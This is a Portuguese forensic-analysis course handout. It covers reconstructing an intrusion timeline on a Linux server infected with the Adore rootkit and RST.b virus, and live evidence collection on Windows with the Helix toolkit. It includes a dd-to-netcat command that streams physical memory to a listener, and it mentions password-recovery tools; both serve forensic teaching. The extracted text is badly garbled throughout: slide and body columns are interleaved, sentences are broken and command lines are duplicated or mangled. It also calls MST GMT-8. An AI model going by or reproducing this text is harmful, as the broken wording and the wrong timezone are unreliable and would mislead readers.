Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121

Atividade 1 Determinando a linha do tempo. . . . . . . . . . . . . . . . . . . . . . . . . 122

Atividade 2 Identificando os eventos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122


116
Escola Superior de Redes RNP

Linha de tempo
p
Linha de tempo

A linha de tempo til para que a instituio se proteja


Obj ti
Objetivo
Criar um histrico das aes e eventos encontrados no sistema de futuros ataques, pois permite estudar o modo de
comprometido de forma a identificar quando
comprometido, q ando e como ocorreu
ocorre a operao dos invasores e ajudar a melhorar as defesas
invaso, dando uma viso clara do ataque e dos mtodos
utilizados pelo invasor para invadir e tomar o controle do da instituio.
sistema.
Problemas
Alm da correlao com fontes externas, o investigador
As informaes coletadas em um sistema comprometido no
so confiveis, e por isso importante o analista correlacionar pode detectar inconsistncias em alguma evidncia
as informaes obtidas na mquina com outras fontes, tais
como logs de roteadores e firewalls, servidores de e-mail e de
se correlacionar diversas informaes sobre a mesma
arquivos e informaes obtidas em entrevistas com potenciais atravs de fontes diferentes. Por exemplo, se um log
suspeitos.
tem informaes gravadas em determinada data e
horrio, mas o inode que armazena este log indica
que o contedo do arquivo foi modificado em um horrio anterior a esta informao
do log, provavelmente o log foi comprometido, pois existe inconsistncia entre as
informaes. No mnimo, o log no deve mais ser confivel.

Linha de tempo
p Exemplo: para definir quando uma mquina foi
iniciada ou instalada, podemos utilizar evidncias
Para criar
P i uma linha
li h dde ttempo, o analista
li t ddeve: como a data de acesso ou a criao de arquivos
Descobrir quando a mquina foi instalada ou iniciada que somente so acessados ou criados durante o
Descobrir quando a mquina foi identificada como boot ou instalao, como os arquivos do /boot ou o
invadida, e o horrio em qque comeou
a atividade de arquivo /sbin/init, embora este ltimo possa ter sido
anlise forense e de conteno do ataque
modificado por um rootkit.
Obter informaes do momento em que a mquina foi
efetivamente desligada
Registrar informaes de tempo das evidncias A definio dos horrios em que a mquina foi invadida
coletadas pode vir de fontes externas, como entrevistas com
suspeitos ou responsveis pela mquina e tambm
pelo registro da tela do computador, como no caso
do nosso exemplo.

Ferramentas
Ferramentas

O analista deve utilizar as ferramentas para coletar informaes sobre as O analista deve utilizar as ferramentas vistas ante-
evidncias encontradas:
#istat/data/compromised/compromised_hda1.img30578
riormente para coletar informaes de tempo das
inode:30578 evidncias encontradas:
Allocated
Group:2
uid/gid:0/0 # istat /data/compromised/compromised_hda1.img 305788
mode:rwrr
i 228
size:228
inode: 30578
numoflinks:1 Allocated
InodeTimes:
Group: 2
Accessed:SunAug1016:26:182003
FileModified:WedAug612:09:172003 uid / gid: 0 / 0
InodeModified:WedAug612:09:172003 mode: -rw-r--r--
DirectBlocks:
71142
size: 228
num of links: 1
Inode Times:
Accessed: Sun Aug 10 16:26:18 2003
File Modified: Wed Aug 6 12:09:17 2003
Inode Modified: Wed Aug 6 12:09:17 2003
Direct Blocks:
71142

Anlise forense Sesso de aprendizagem 7


117

No exemplo acima examinamos o contedo do inode que armazena o arquivo /etc/


issue, criado quando a mquina iniciada. Ele acessado sempre que ocorre um
login no sistema localmente ou remotamente por telnet ou ssh.

Verificamos este acesso s 16:26:18, e a criao do arquivo no dia 6 de


agosto, s 12:09.

# fls -alrp -m / -z PDT /data/compromised/compromise


Ferramentas d_hda1.img | mactime -g /mnt/image/etc/group
-p /mnt/image/etc/passwd > /data/compromised/
compromised_hda1.img8
Algumas ferramentas podem facilitar o trabalho de coleta de informaes:
# fls -alrp -m / -z PDT Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x roo
/data/compromised/compromised_hda1.img | mactime -g t root 92017 /usr/bin/top
/mnt/image/etc/group -p /mnt/image/etc/passwd >
/data/compromised/compromised_hda1.img 8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2
Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x root 4060 m.. -/-rwxr-xr-x root root 92009 /usr/bin/sense
root 92017 /usr/bin/top
8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2 Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x roo
4060 m.. -/-rwxr-xr-x root root 92009 t root 92022 /bin/ls
/usr/bin/sense
8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2
Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x root
root 92022 /bin/ls 2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss
8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2
2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss

O comando acima cria o arquivo de linha de tempo


de toda atividade de disco da imagem analisada.
Podemos ver abaixo alguns exemplos de atividade.

No dia 25 de setembro de 1983, s 18:45:00, ocorreu uma atividade de modifi-


cao de contedo (vide m.. na listagem) em trs arquivos. Sendo ela anterior
instalao do sistema, podemos imaginar que estes arquivos estavam dentro de
um arquivo TAR e foram descompactados no sistema.

Podemos ver adiante uma atividade de acesso a outros arquivos (.a. na listagem)
indicando que os mesmos foram lidos ou executados. O outro campo na coluna
de atividade indica mudana no inode do arquivo (..c) e pode indicar quando o
arquivo foi criado ou apagado, mas tambm quando as informaes sobre o
arquivo foram alteradas: troca de dono do arquivo, troca de atributos etc.

Correlao
de informaes

Correlao de informaes

Informaes coletadas na mquina precisam ser


importante lembrar das configuraes de timezone
correlacionadas com fontes externas: da mquina invadida e da estao forense do investi-
Logs de firewall
gador, e sempre correlacionar logs externos levando
Logs de roteadores
Logs de servidores de e-mail
e mail em conta as diferenas de timezone.
Entrevistas com suspeitos
Descries e documentao na internet Por exemplo, o timezone da mquina est configurado
As informaes de datas devem estar sempre com o mesmo
timezone para evitar inconsistncias.
inconsistncias para PDT (Pacific Daylight Time, ou GMT-8) e o da
importante que as mquinas estejam com os horrios estao forense para MST (Mountain Standard Time,
sempre corretos, de preferncia atualizados pelo servio NTP.
padro do Helix, ou GMT-8). O timezone oficial no
Brasil GMT-3 ou GMT-2 durante o horrio de vero,
e isto deve ser levado em considerao quando o
investigador for analisar evidncias em uma mquina com timezone diferente
daquele da mquina investigada.

Linha de tempo e reconstruo do ataque


118
Escola Superior de Redes RNP

Sun Aug 10 2003 16:30:30 0 mac -/---------- root ro


Correlao
de informaes
ot 35804 /dev/hdx1
5833 /dev/hdx2
0 mac -/---------- root root 3

As evidncias
A id i encontradas
t d ddevem ser correlacionadas
l i d Sun Aug 10 2003 16:30:52 5636 ma. -/-rw-r--r-- root
com as informaes de tempo fornecidas pelas root 47169 /usr/lib/adore.o
f
ferramentas
t fforenses:
No exemplo temos a criao dos arquivos /dev/hdx1
SunAug10200316:30:300mac/ rootroot35804/dev/hdx1 e /dev/hdx2, que normalmente indicam uma infeco
0mac/ rootroot35833/dev/hdx2
pelo vrus RST.b. Vimos em sesses anteriores que
o antivrus detectou a presena deste vrus em diver-
SunAug10200316:30:525636ma./rwrr rootroot47169
/usr/lib/adore.o
sos arquivos na mquina, o que pode indicar que tais
ferramentas foram executadas.

No exemplo seguinte temos indicaes de acesso e


modificao de contedo do arquivo adore.o, o executvel do rootkit Adore, indi-
cando que o mesmo foi instalado na mquina com sucesso.

Reconstruo
do ataque
q
Reconstruo do ataque

Logicamente, todas as informaes de conexo


Aps
A encontrar
t e correlacionar
l i iinformaes
f dde ttempo
das evidncias coletadas, o analista deve tentar remota devem ser correlacionadas a logs externos
reconstruir
t i as aes
executadas
t d pelosl invasores,
i ao servidor comprometido, para garantir a validade
desde o momento da invaso at o momento em que a
dos mesmos. Outra forma de verificar informaes
mquina
i ffoii llevada
d para anlise
li
A reconstruo do ataque deve tentar descobrir o e identificar evidncias utilizando mecanismos de
modo como o invasor obteve acesso ao sistema, procura, como o Google.
identificando possveis vulnerabilidades e ferramentas
utilizadas no ataque e no controle do sistema
Alm disso, todas as informaes de tempo devem ser
Uma boa prtica criar uma tabela descrevendo os
eventos de acordo com a linha de tempo relativas ao mesmo timezone. Todas as ferramentas do
pacote forense analisado tm opes para mostrar as
informaes de datas em timezones diferentes.

Um bom relatrio de anlise forense deve ser composto


Reconstruo
do ataque
q
por uma reconstruo o mais detalhada possvel de tudo
que aconteceu na mquina, bem como uma anlise dos
Data Ao / Evidncia

06/Ago/2003 11:16:40 Last login: Wed Aug 6 11:16:40 on tty2 mtodos e tcnicas utilizadas pelo invasor, inclusive com
06/Ago/2003 12:09:17 Reinicializao do servidor (/etc/issue). possveis solues e tcnicas para proteo e deteco
10/Ago/2003 13:24:29 Possvel comprometimento do servio HTTPS.
deste tipo de ao no futuro.
10/Ago/2003 13:33:57 Parada dos servios syslogd e klogd.

10/Ago/2003 14:33:19 Possvel instalao das ferramentas descritas na


URL www.ntfs.com/ntfs-mft.htm

10/Ago/2003 15:52:10 Parada do servio HTTPD.

10/Ago/2003 16:30:30 Infeco pelo vrus RST.b.

10/Ago/2003 16:30:52 Instalao do rootkit Adore.

10/Ago/2003 20:30:39 Comeo da investigao (comando date no console)

Anlise forense Sesso de aprendizagem 7


119

Reconstruo
do ataque
q

Finalmente,
Fi l t o analista
li t ddeve id
identificar
tifi possveis
i
solues para os problemas e vulnerabilidades
id tifi d
identificados
Se possvel, devem ser sugeridas formas de se
proteger ou identificar atividades como as ocorridas
no sistema analisado
Esta parte da anlise forense permite ao responsvel
pela mquina
p q invadida entender o que
q aconteceu, p
para
que possa se proteger de futuros ataques

Concluses
Concluses

Vimos como organizar as evidncias encontradas numa


Aprendemos
A d a organizar
i as evidncias
id i encontradas
t d
numa linha de tempo, identificando os momentos linha de tempo, identificando os momentos chaves
chaves
h d
da iinvaso
e o comprometimento
ti t ddo servidor.
id da invaso e o comprometimento do servidor.
A linha de tempo uma ferramenta indispensvel para
analisar o sistema.
A linha de tempo uma ferramenta indispensvel
O objetivo
j final da anlise forense e do relatrio de
reconstruo do ataque criar um documento que para analisar o sistema e responder s perguntas
possa ser utilizado p
p pela empresa
p como conhecimento Quando? e Como? relativas invaso. Estudamos
formalizado a partir dos erros e preveno contra
ainda os pontos importantes que devem ser destacados
futuros ataques.
em um relatrio de reconstruo do ataque.

Na prxima sesso conheceremos as principais fer-


ramentas e tcnicas existentes para realizar a anlise
forense em ambiente Windows.

Muitas das tcnicas e teorias vistas nas sesses sobre anlise forense em Linux
podem e devem ser utilizadas em ambientes Windows, embora existam algumas
diferenas importantes que devem ser levadas em considerao.

Linha de tempo e reconstruo do ataque


120
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 7


7
Sesso de aprendizagem 7
Linha de tempo e reconstruo do ataque
Roteiro de atividades

Tpicos e conceitos

\\Identificarquando e como ocorreu a invaso, dando uma viso clara do


ataque e dos mtodos utilizados pelo invasor.

Competncias tcnicas desenvolvidas

\\O aluno aprender a identificar a linha do tempo do ataque e identificar os


eventos ocorridos no sistema comprometido.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90-120 minutos
122
Escola Superior de Redes RNP

Atividade 1 Determinando a linha do tempo

Muitas ferramentas foram instaladas no sistema durante a ao dos


invasores. Vimos na sesso 5 que existia um arquivo TAR que no havia
sido apagado, mas movido de diretrio. O arquivo chama-se /data/
compromised/s.tgz. Com um colega, tente identificar na linha de tempo
informaes que confirmem se os arquivo e ferramentas foram utilizados
efetivamente pelos invasores. Lembre-se de que quando um arquivo
executado, o seu tempo de acesso modificado. Quando ele criado, o
comando fls mostra mudanas nos tempos de acesso e modificao de
status do arquivo ao mesmo tempo. Faa um relatrio com suas concluses.

Atividade 2 Identificando os eventos

No material do aluno existe uma tabela Excel chamada timeline.xls, com


todos os eventos encontrados na sesso 4 e sesses anteriores a ela,
cadastrados de acordo com sua data de ocorrncia. Complete esta tabela
com as informaes coletadas por voc e seu colega nos exerccios das
trs sesses anteriores e nos resultados do exerccio anterior. Aps montar
a tabela, apresente o resultado aos colegas de turma. Lembre-se de fornecer
evidncias que comprovem as atividades identificadas e catalogadas.

Anlise forense Sesso de aprendizagem 7


8
Sesso de aprendizagem 8
Anlise forense em Windows

Sumrio da sesso

Anlise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124

Sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125

Kit de ferramentas forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126

Primeiras aes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133

Atividade 1 Coleta de evidncias em Windows. . . . . . . . . . . . . . . . . . . . . . . 134

Atividade 2 Classificando as ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . 134

Atividade 3 Busca de outras ferramentas para Windows. . . . . . . . . . . . . . . . 134


124
Escola Superior de Redes RNP

Anlise forense em Windows


Anlise forense em Windows

Devido ao fato de sistemas Windows terem grande


O processo d de anlise
li fforense em um sistema
i t
Windows no difere do ambiente Unix presena em ambientes de desktop de empresas
Principal diferena: informaes volteis e usurios caseiros, o tipo de incidente que geral-
Windows tem g grande presena
p em desktop p de mente envolve uma mquina com este sistema um
empresas e usurios caseiros pouco diferente do que normalmente acontece com
(on-line)
Resultado: anlise em um sistema vivo (on line)
sistemas Linux utilizados em servidores.

Toda a metodologia utilizada nas sesses anteriores


ainda vlida neste caso. A principal diferena que
em sistemas Windows as informaes mais desejadas
so volteis e somente podem ser obtidas no sis-
tema vivo (live system ou on-line), o que exige a reali-
zao de procedimentos de coleta de dados ao vivo.
Anlise forense em Windows
Existe uma diferena grande entre os diversos tipos
Principais
P i i i razes no comprometimento
ti t dde um sistema
i t
Windows: de incidentes que ocorrem em uma mquina com-
Sistema infectado por vrus ou cdigo malicioso prometida. Por exemplo, em um caso de mquina
Caso envolvendo direitos autorais infectada por vrus, o procedimento que geralmente
Pornografia se toma a formatao da mquina sem maiores
Fraude investigaes.
Presena de trojan ou backdoor
Utilizao do sistema de forma maliciosa
No caso de utilizao maliciosa do sistema ou de
fraude, muitas vezes as autoridades sero envolvidas
e, nestes casos, no necessrio coletar muitas
evidncias em sistemas vivos, mas sim manter a
mquina do suspeito sob custdia para que seja
investigada pela autoridade policial competente.

Em casos de pornografia infantil, o investigador tem que tomar muito cuidado


com a coleta de evidncias, pois a lei no permite a transmisso ou cpia do
material pornogrfico, o que pode causar problemas jurdicos para o investigador
e para a empresa. recomendvel entrar em contato com as autoridades policiais
o mais rpido possvel e discutir com eles a melhor ao a ser tomada. No
possvel simplesmente desligar a mquina, pois ela pode estar sendo monitorada
como parte de uma investigao mais ampla.

Anlise forense Sesso de aprendizagem 8


125

Sistema de arquivos
q
Sistema de arquivos

O Windows Vista tambm utiliza o sistema NTFS


Si t
Sistema d
de arquivos
i NTFS
Padro no Windows XP e Vista como padro, mas implementa no sistema de arqui-
Windows Vista implementa o TxF em cima do NTFS vos uma outra estrutura chamada Transactional File
Verso atual: 3.1
Veremos ferramentas para NTFS,
NTFS mas a maioria funciona em FAT e
System (TxF). Este sistema de arquivos implementa
FAT32
Uma partio NTFS composta de diversas estruturas, sendo que a
uma estrutura de banco de dados em cima do
principal a Master File Table (MFT)
NTFS, permitindo diversas funcionalidades ofereci-
das pelo Windows Vista.

Os sistemas de arquivos compatveis com o


Sistema de arquivos
q Windows so os seguintes: FAT (File Alocation Table),
FAT32, NTFS e TxF. Do ponto de vista do usurio,
a grande diferena est no aumento da capacidade das parties que cada
Si ttrabalhar.
Sistema
sistema pode d
deOarquivos
i FATNTFS
sistema permite no mximo parties de 32 giga-
bytes, enquanto as verses mais recentes do NTFS e do TxF permitem parties
Padro no Windows XP e Vista
superiores a 2 terabytes.
Windows Vista implementa o TxF em cima do NTFS
Versopresente
A primeira informao atual: 3.1em um volume NTFS o Partition Boot Sector e
Veremos
o primeiro arquivo do volumeferramentas
NTFS para NTFS mas
NTFS,
o Master FileaTable.
maioriaOfunciona
sistemaem FAT e
operacional
FAT32
reserva sempre 12% do tamanho do disco para armazenar o MFT, espao sempre
contnuo a partir Uma partio
do incio do NTFS
disco. composta de diversas estruturas, sendo que a
principal a Master File Table (MFT)

Sistema de arquivos
q Estas estruturas so importantes quando se tenta
recuperar informaes sobre o sistema de arqui-
O MFT composto de 16 registros,
registros sendo que somente 12 so vos com as ferramentas de anlise forense que
utilizados atualmente: vimos anteriormente.
$MFT Master File Table
$MftMirr Cpia de Master File Table
$LogFile Arquivo de registro de eventos do NTFS A rea que sobra da MFT aps armazenar os regis-
$Volume Informaes sobre o volume
$AttrDef Definies de atributos tros acima serve para armazenar as informaes
$ Diretrio
$. Di t i raizi do
d sistema
i t
de arquivos e diretrios do sistema.
$Bitmap Mapa de utilizao de clusters
$Boot Setor de boot da partio
$BadClus Lista de bad cluster
$Secure Informaes sobre segurana
$Upcase Tabela de converso de caracteres
$Extend Arquivo de extenses do NTFS

Anlise forense em Windows


126
Escola Superior de Redes RNP

Os registros sobre arquivos so armazenados na


Sistema de arquivos
q
forma de atributos, equivalentes aos inodes no Linux.
Os arquivos so armazenados como uma srie de atributos,
atributos
Entretanto, o NTFS armazena muito mais informaes
equivalentes aos inodes no Linux: sobre os arquivos.
Standard Information Inclui informaes como timestamps e nmero de links
Attribute List Lista a localizao de todos os atributos do arquivo
File Name Armazena o nome do arquivo
S
Security
it D
Descriptor
i t Informaes
I f sobreb o dono
d do
d arquivo
i e permisses
i dde acesso
Os atributos de nome de arquivos podem ser repetidos
Data Armazena os dados do arquivo arbitrariamente e permitem armazenar o nome MS-DOS
Object ID Identificador nico de arquivo
Logged Tool Stream Registro de mudanas do metadado do arquivo (8.3 caracteres), nomes longos (255 carac-
Reparse Point Ponto de juno para diretrios e volumes
Index Root Usado para implementar ndice de arquivos e diretrios teres), alm de nomes de links para o arquivo.
Index Allocation Usado para implementar ndice de arquivos e diretrios
Index Bitmap Usado para implementar ndice em diretrios muito longos
Volume Information Contm a verso do volume O atributo de dados utilizado para armazenar o
Volume Name Contm o nome do volume
contedo dos arquivos. Uma diferena importante no
NTFS a possibilidade de existir mais de um atributo
de dados para um mesmo arquivo. Isto , um mesmo arquivo pode armazenar
mltiplos contedos totalmente distintos, processo conhecido como Alternate Data
Streams. Conheceremos este tipo de estrutura nas prximas sesses.

Kit de ferramentas forense


Kit de ferramentas forense

Capaz de reproduzir resultados


O kit possui ferramentas capazes de reproduzir o
No altera os dados analisados mesmo resultado quando executadas em condies
M i de
Mnimo d iinterferncia
t f i possvel
l similares, ou seja, duas ferramentas precisam gerar
Possui validade jurdica o mesmo resultado sob as mesmas condies para
provar que no interferem nos dados.
Graphical
p User Interface (GUI)
( )
X
Console User Interface (CUI) A ferramenta no deve realizar nenhuma alterao
quando examina alguma evidncia. Este fato pode
ser comprovado pela comparao de hashes cripto-
grficos (MD5, SHA1).

Outra caracterstica delas deve ser interferir o mnimo possvel no ambiente onde
coletam dados, ou seja, quanto menor o grau de interao da ferramenta com
o ambiente, menor a ocorrncia de contaminao de evidncias. Devem possuir
validade jurdica e/ou ser aceitas como instrumentos de coleta de evidncias.

Para o processo de interao com sistema vivo recomendada a utilizao de


ferramentas de comando de linha, pois elas causam uma interferncia menor no
ambiente analisado. J para anlises em imagens e evidncias, pode-se utilizar
ferramentas com interface grfica, uma vez que esta etapa realizada na estao
de anlise forense.

Anlise forense Sesso de aprendizagem 8


127

\\Custo Algumas opes comerciais podem ser caras


Kit de ferramentas forense
demais para serem utilizadas esporadicamente.
Outros
O t pontos t a considerar:
id \\Licenciamento Algumas ferramentas no podem
Custo ser distribudas em CDs. Seu uso, mesmo que
Licenciamento gratuito, necessita que a ferramenta seja obtida
Cdigo fonte
Cdigo-fonte
diretamente do autor.
Portabilidade
\\Cdigo-fonte Muitas das opes gratuitas possuem
cdigo aberto, o que permite que sejam auditadas
para garantir que os resultados no sejam alterados
e no possuam aes no declaradas.

\\Portabilidade Algumas ferramentas podem ser


utilizadas em diversos sistemas operacionais,
o que pode facilitar sua escolha em razo da
familiaridade de uso.

O Live CD do Helix pode ser usado em ambientes


Kit de ferramentas forense
Windows, pois contm um pacote de ferramentas
teis para coleta de evidncias em sistemas vivos:
Ferramentas disponveis no Live CD do Helix:
2K Imager
g Sysinternals
y \\2K Executveis bsicos do sistema para Windows
2K3 IRCR System Tools 2000 (cmd.exe, netstat.exe, ifconfig.exe etc).
AgileRM Microsoft UnxUtils
Bin Net Latency Vista
Contm tambm o Windows 2000 Resource Kit;
Cygwin Nir Soft WFT
\\2K3 Executveis bsicos do sistema para Windows
DiamondCS NT WinDBG
FAU NT Security Winfingerprint 2003 (cmd.exe, netstat.exe, ifconfig.exe etc);
Foundstone PCtime XP
FSP Perl cmdenv1 bat
cmdenv1.bat \\AgileRM (Nigilant32) Ferramenta de auxlio ao
Hoverdesk Putty NC_Server.bat investigador que permite realizar cpia do disco
e de memria de sistemas Windows, alm de
coletar informaes sobre registro e processos
em execuo, entre outras funes;

\\Bin Contm ferramentas variadas para coleta de evidncias. Entre elas,


podemos citar foremost.exe, nc.exe, sha1deep.exe, alm de ferramentas para
coletar o registro do Windows e nomes de usurios e senhas do sistema;

\\Cygwin Ferramentas Unix portadas para Windows: strings, cat, file, wget,
less e ls, entre outras;

\\DiamondCS (DiamondCS tools) Ferramentas para coletar nomes de


processos, portas abertas e conexes ativas na mquina;

\\FAU (Forensic Acquisition Utilities) Ferramentas para coleta de evidncias;


inclui dd, nc, volume_dump, md5sum e wipe;

\\Foundstone Ferramentas para coleta de evidncias: anlise de cookies,


histricos do Internet Explorer, portas abertas, entre outros;

\\FSP Ferramenta cliente/servidor para coleta de dados volteis remotamente;

\\ Hoverdesk Ferramenta para capturar snapshot da tela;

Anlise forense em Windows


128
Escola Superior de Redes RNP

\\Imager (FTK Imager) Ferramenta para coleta de evidncias e imagem de disco;

\\IRCR Coleo de scripts BAT para automatizar a execuo de diversas


ferramentas do Live CD do Helix;

\\Microsoft Algumas ferramentas do Windows para verses antigas (Windows


98 e ME);

\\Net Latency Duas ferramentas para mostrar espao livre em disco e


servios rodando na mquina;

\\Nir Soft Diversas ferramentas para recuperao de senhas do Windows e


aplicativos;

\\NT Executveis bsicos do sistema para Windows NT;

\\NT Security Ferramentas para coleta de informaes de segurana do disco


e do Windows;

\\PCtime Ferramenta para sincronizao de tempo com NTP;

\\Perl Ferramentas para identificao de modem, Alternate Data Streams,


coleta de mac times e de interfaces de rede;

\\Putty Cliente SSH de uso livre;

\\Sysinternals Ferramentas para coleta de informaes sobre processos,


conexes e servios, entre outras informaes;

\\System Tools Ferramentas para coletar informaes sobre usurios, eventos


do log do Windows, usurios e polticas de segurana instaladas na mquina;

\\UnxUtils Algumas ferramentas de Unix portadas para Windows;

\\Vista Executveis bsicos do sistema para Windows Vista (cmd.exe, netstat.


exe, ifconfig.exe etc);

\\WFT (Windows Forensic Toolchest) Instrumento para automatizar a execuo


de diversas ferramentas e sumarizar os resultados;

\\WinDBG Depurador de cdigo para Windows;

\\Winfingerprint Ferramenta para coletar informaes sobre processos e DLLs


associadas a eles;

\\XP Executveis bsicos do sistema para Windows XP (cmd.exe, netstat.exe,


ifconfig.exe, etc);

\\cmdenv1.bat Arquivo BAT para modificar variveis de ambiente visando a


utilizao exclusiva das ferramentas do CD do Helix, evitando assim que se
use as ferramentas possivelmente comprometidas do sistema;

\\NC_Server.bat Arquivo BAT para iniciar um servidor Netcat na mquina.

Anlise forense Sesso de aprendizagem 8


129

As ferramentas que compem o kit de anlise


Kit de ferramentas forense
forense devem ser gravadas impreterivelmente em
Outras fontes de ferramentas:
mdia que no permita contaminao, como o caso
www.sysinternals.com do Live CD do Helix. Mesmo com esse procedimento
www.foundstone.com
f d t necessrio possuir os hashes criptogrficos
users.erols.com/gmgarner/forensics
(md5sum ou sha1sum) de todos os arquivos para
Wi d
Windows R
Resource Kit www.microsoft.com
i ft
Windows XP Service Pack 2 Support Tools garantir que a ferramenta em uso no foi modificada.
www microsoft com
www.microsoft.com
GNU utilities for Win32 unxutils.sourceforge.net
Win32 Forensics Tools www.first.org
first org
A relao dos hashes deve ser armazenada na
http://www.forensicswiki.org/index.php?title=Helix mesma mdia das ferramentas.
htt // f i t d /f i /f i t l ht l
http://www.forinsect.de/forensics/forensics-tools.html
http://www.opensourceforensics.org/tools/windows.html
No diretrio \IR e tambm no Live CD do Helix (dire-
trio \IR) o aluno pode encontrar as assinaturas MD5
das ferramentas disponveis.

Primeiras aes

Primeiras aes

Primeiras aes:
As primeiras aes do investigador ao ter acesso a
Preservar evidncias um sistema vulnervel podem comprometer evidn-
C l t evidncias
Coletar id i mais i volteis
lt i cias se no forem tomados cuidados com a ordem
Verificao externa do sistema:
de coleta das evidncias.
N
Nmeros de
d srie
i
Dispositivos conectados
E t d gerall ddo sistema
Estado i t Preferencialmente, o investigador deve comear a
Conectividade
coleta de evidncias por aquelas mais volteis e
Energia
Tela do sistema (console): que no podero ser reproduzidas posteriormente.
Fotografia Entre essas evidncias esto as informaes sobre
Print-screen (compromete a memria) o ambiente onde a mquina est localizada, sobre a
tela do computador e sobre a memria RAM.

O primeiro passo ao interagir com um sistema fazer a correta identificao do


mesmo, verificando nmero de srie, de patrimnio ou qualquer outra numerao
que permita ter certeza de que se trata do sistema investigado. Isto permite tam-
bm identificar corretamente o sistema caso seja necessrio.

A interao com o sistema deve ser presenciada preferencialmente por um repre-


sentante legal, para garantir a validade do processo, e todos os passos devem
ser cuidadosamente registrados para posterior verificao.

Deve-se evitar capturar a tela do computador com um print screen, pois com isso
perdem-se as informaes que estavam na rea de transferncia (clipboard) e
podem ser comprometidas as evidncias em memria.

O kit de ferramentas pode estar disponvel em um CD ou drive USB, sendo que a


utilizao de um CD mais recomendvel, pois interfere menos no sistema. Como
unidade de armazenamento dos dados coletados podemos utilizar um drive USB,
ou enviar os dados remotamente para a estao forense do investigador.

Anlise forense em Windows


130
Escola Superior de Redes RNP

Eventualmente essa configurao pode no estar disponvel no sistema a ser ana-


lisado, razo pela qual devemos possuir mdias alternativas, como disco Firewire
ou at mesmo uma cpia do kit em disquetes.

cmd.exe

Podemos ver acima o comando utilizado para executar o prompt de comandos, a


partir do item Executar do menu do Windows.

Aps executar o prompt, existe um arquivo BAT chamado cmdenv.bat dentro do


diretrio \IR\xp, que modifica a varivel PATH do sistema para apontar somente para
os diretrios de ferramentas no CD. Dessa forma, garantimos que no executaremos
nenhuma ferramenta comprometida no sistema.

O investigador deve sempre se lembrar desse passo que garante a validade das
evidncias coletadas.

Imagem da memria na estao forense:

D:\IR\xp> nc -l -p 999 > d:\tmp\physmem.img8

Imagem da memria na mquina comprometida:


Primeiras aes

D:\IR\xp> dd if=\\.\Physicalmemory conv=noerror | n
c 127.0.0.1 9998
I
Imagem d
da memria
i Command Line: dd if=\\.\Physicalmemory conv=noerror
Na estao forense: 27/01/2008 23:12:59 (UTC)
D:\IR\xp>nc l p999>d:\tmp\physmem img
D:\IR\xp>nclp999>d:\tmp\physmem.img
27/01/2008 21:12:59 (local time)
Na mquina comprometida:
D:\IR\xp>ddif=\\.\Physicalmemoryconv=noerror|nc127.0.0.1999 Current User: COMPUTADOR\usuario
CommandLine:ddif=\\.\Physicalmemoryconv=noerror
27/01/200823:12:59(UTC) Total physical memory reported: 1047024 KB
27/01/200821:12:59(localtime)
CurrentUser:COMPUTADOR\usuario
Copying physical memory...
Totalphysicalmemoryreported:1047024KB
Physical memory in the range 0x00100000-0x001ff000 c
Copyingphysicalmemory...
y y g
Physicalmemoryintherange0x001000000x001ff000couldnotberead. ould not be read.
Stoppedreadingphysicalmemory:
27/01/200823:14:07(UTC)
Stopped reading physical memory:
27/01/200821:14:07(localtime) 27/01/2008 23:14:07 (UTC)
261871+0recordsin
261871+0recordsout 27/01/2008 21:14:07 (local time)
261871+0 records in
261871+0 records out

Anlise forense Sesso de aprendizagem 8


131

Para realizar a imagem da memria no recomendvel utilizar as ferramentas


grficas do CD de ferramentas, pois como elas sero carregadas na memria,
provavelmente vo sobrescrever evidncias que poderiam ser teis.

Portanto, vamos utilizar a ferramenta dd.exe disponvel no pacote de ferramentas,


pois esta uma verso com suporte coleta de memria RAM, alm de outras
funcionalidades.

Para utilizar o dd, precisamos especificar um dispositivo especial chamado \\.\


PhysicalMemory que d acesso memria fsica do sistema. Para garantir a pre-
servao de evidncias, esta verso da ferramenta dd no permite gravao de
arquivos em dispositivos locais, de modo que precisamos redirecionar a sada do
comando para o comando netcat, como vimos em sesses anteriores.

Para garantir a coerncia das evidncias e identificar


Primeiras aes

modificaes causadas no sistema pelo investigador
Hora d
H do sistema
i t
e diferenci-las das modificaes provocadas pelo
Necessrio conhecer horrio correto e timezone da invasor, importante identificar corretamente o horrio
mquina e o timezone do sistema.
Garante a correlao
de evidncias com registros
g
externos
Desta forma, se houver alguma diferena entre
D:\IR\xp>date/t o horrio da mquina comprometida e a estao
dom27/01/2008
forense, ela pode ser levada em conta na hora de
D:\IR\xp>time/t analisar as evidncias coletadas.
21:41

Verses diferentes de sistema operacional fornecero


resultados distintos para os comandos acima.
Algumas verses do comando date mostram tam-
bm o horrio da mquina.
Primeiras aes

Hora do sistema Hora do sistema:


D:\IR\xp> reg query
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneIn
formation  D:\IR\xp> reg query HKEY_LOCAL_MACHINE\SYSTEM\Curre
Listing of ntControlSet\Control\TimeZoneInformation8
[SYSTEM\CurrentControlSet\Control\\TimeZoneInformation]
REG_DWORD Bias 180 Listing of [SYSTEM\CurrentControlSet\Control\\TimeZ
REG_SZ StandardName E. South America Standard Time
